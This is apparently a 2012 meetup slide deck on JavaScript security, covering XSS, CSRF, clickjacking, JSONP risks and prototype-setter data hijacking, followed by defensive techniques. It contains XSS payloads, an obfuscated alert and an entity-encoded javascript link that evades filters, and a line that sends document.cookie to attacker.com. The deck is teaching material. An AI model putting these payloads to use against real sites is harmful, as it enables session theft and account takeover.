JavaScript Security


Pronounced non-existent long ago...

@naugtur, meet.js 03.2012

    Attacking:

  • Hurting people - basics: XSS, CSRF, clickjacking
  • Stealing cookies
  • Do you like JSONP?
  • Hijacking data whatever the scope
  • Exploiting the user for DDOS and port scanning
  • Defending:

  • Last minute sanitization
  • Preventing someone from messing up your code
  • Sandboxing JSONP
  • Third party code on my page? CAJA just don't
  • Don't feel XSS proof

Attacking

Hurting people - basics

  • Persistent XSS
    ...userinput... <script> alert(document.cookie) </script> 
    ...userinput..." onmouseover="alert(document.cookie)" 
  • Reflected XSS
     http://example.com/?page=<script> alert(document.cookie) </script> 
     404, There is no page <script> alert(document.cookie) </script> 
  • CSRF
     <form method="POST" action="http://ebay.com/buy?item=123" > 
  • Clickjacking
    <iframe style="opacity:0" src="http://ebay.com/auction?123" >

Stealing cookies

  • Get your code to work on a page (XSS)
  • Catch the cookies and send away
     var img=new Image(); img.src="http://attacker.com/?cookies="+encodeURIComponent(document.cookie) 
  • Put the cookie in your browser and access the page...
  • Prevent that from happening:

  • Save user's IP in session and destroy session
    when IP changes
  • Use server-only cookies https://www.owasp.org/index.php/HttpOnly
     Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
    [; expires=<date>][; domain=<domain_name>]
    [; path=<some_path>][; secure][; HttpOnly] 

Should I trust JSONP?

  • Use JSONP only if you are aware how it works.
  • That's in fact a hack.
    function simpleJSONP(address,callbackFunction){
      var randomNum = ~~(Math.random()*100000);   //long random
      window['somename'+randomNum]=callbackFunction;
      var script = document.createElement('script');
      script.setAttribute('src', address+'?jsoncallback=somename'+randomNum);
      document.getElementsByTagName('head')[0].appendChild(script);
      //and there's some cleanup later
    }	     
  • It simply runs a script assuming that it contains
     somename298374({/*data*/})	      
  • But it can easily be:
     document.body.innerHTML="Eat moar viagra!" //advertisement
    	    somename298374({/*data*/}) //expected content	      

Hijacking data

  • The old way (doesn't work anymore)
    Override the array constructor to catch the content of any array on page.
    function Array() {
       for(var i=0;i<arguments.length;i+=1){
       console.log(arguments[i]);
       }
    }
    
    var arr=[1,2,3];      
  • Still works with this:
    var arr=new Array(1,2,3);	      

Hijacking data

  • Hijacking object setters (works except new FireFox)
    function(data){
      var x={};      //some private variable
      x.data=data;
    };
    	      
    Object.prototype.__defineSetter__('data', function() {
     console.log(['item',arguments]);
     });    
    OR
    Object.defineProperty(Object.prototype, 'data', {
     set:function(obj) {
      console.log(obj);
     }
    });   
  • Crosses all scopes etc.
  • Not so long ago it worked with JSON array loaded as script.

Hijacking data

Hard to find a good way to defend.

The method requires knowing key names.

Random variable names server side in session?

DDOS and port scanning

  • JSONP is not the only hack, iframes, images and more...
    All load cross-browser
  • Can send GET requests with any payload
  • Can try some ports (but browsers tend to block the important ones, below 80)
  • [Examples]

Defending

Last minute sanitization

  • Ok, this is easy...
  • Instead of this:
    $('#something').html(variableContainingText);
    document.getElementById('something').innerHTML(variableContainingText);
  • try this:
    $('#something').text(variableContainingText);
    var oText = document.createTextNode(variableContainingText);
    document.getElementById('something').appendChild(oText); 
  • Why is that useful?
    var variableContainingText = "some user input <script src= ..."

Preventing someone from messing up your code

  • Wrap in closure
    (function(){
      var cantAccessMe=1;
    })()
  • Preventing stupidity ;)
    undefined=true; //what an asshole
    (function(options,undefined){
      //undefined is undefined here :)
    })({/*anything*/})
  • When expecting collisions
    window['``~~!@#$%^&*)(_+--=']="I guess this global variable name is free";
  • Get the global scope, not the window variable
    var Fn = Function, global = Fn('return this')();

Sandboxing JSONP

Do JSONP in an different-origin iframe and pass results via iframe-to-iframe communication.


Original source

Google CAJA

http://code.google.com/p/google-caja/

It's supposed to be able to filter out risky javascript... Yeah, I wonder how it handles this:

	$=''|'',_=$+!"",__=_+_,___=__+_,($)[_$=($$=(_$=""+{})[__+__+_])+_$[_]+(""+_$[-__])[_]+(""+!_)[___]+($_=(_$=""+!$)[$])+_$[_]+_$[__]+$$+$_+(""+{})[_]+_$[_]][_$]((_$=""+!_)[_]+_$[__]+_$[__+__]+(_$=""+!$)[_]+_$[$]+"("+_+")")();	

It's called obfuscation and actually does this:

	alert(1);	

More obfuscation, because it's cool :)

This is some obfuscated javascript that doesn't seem to work anymore (it's from 2009). Note the characters used in the code...

(µ=[µ=[]][(ø=!µ+µ)[ª=-~-~-~µ]+({}+µ)[ª/ª]+(æ=(µª=!!ª+µ)[ª/ª]+µª[+µ])])()[ø[ª/ª]+ø[ª+~µ]+µª[ª]+æ](ª/ª)
	

I'm not sure what it did, now it throws an error when trying to run Array.prototype.sort on null. You see that there, right? :P

Sanitizing user input to prevent XSS

Still thinking you can filter out XSS? You will just allow some safe tags like a simple link without javascrip in it?

	  
<a href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41">Test</a>
Test

Think twice

Mozilla signed scripts

It started with Netscape4 and is (silently) being continued.

http://www.mozilla.org/projects/security/components/signed-scripts.html

Signed scripts are kept in a .jar archive and can't be changed without the browser noticing that. They can also ask for more permissions

So it's probably a threat if you add some social engineering

Play safe.

You can find me on twitter, github and stackoverflow. Just look for naugtur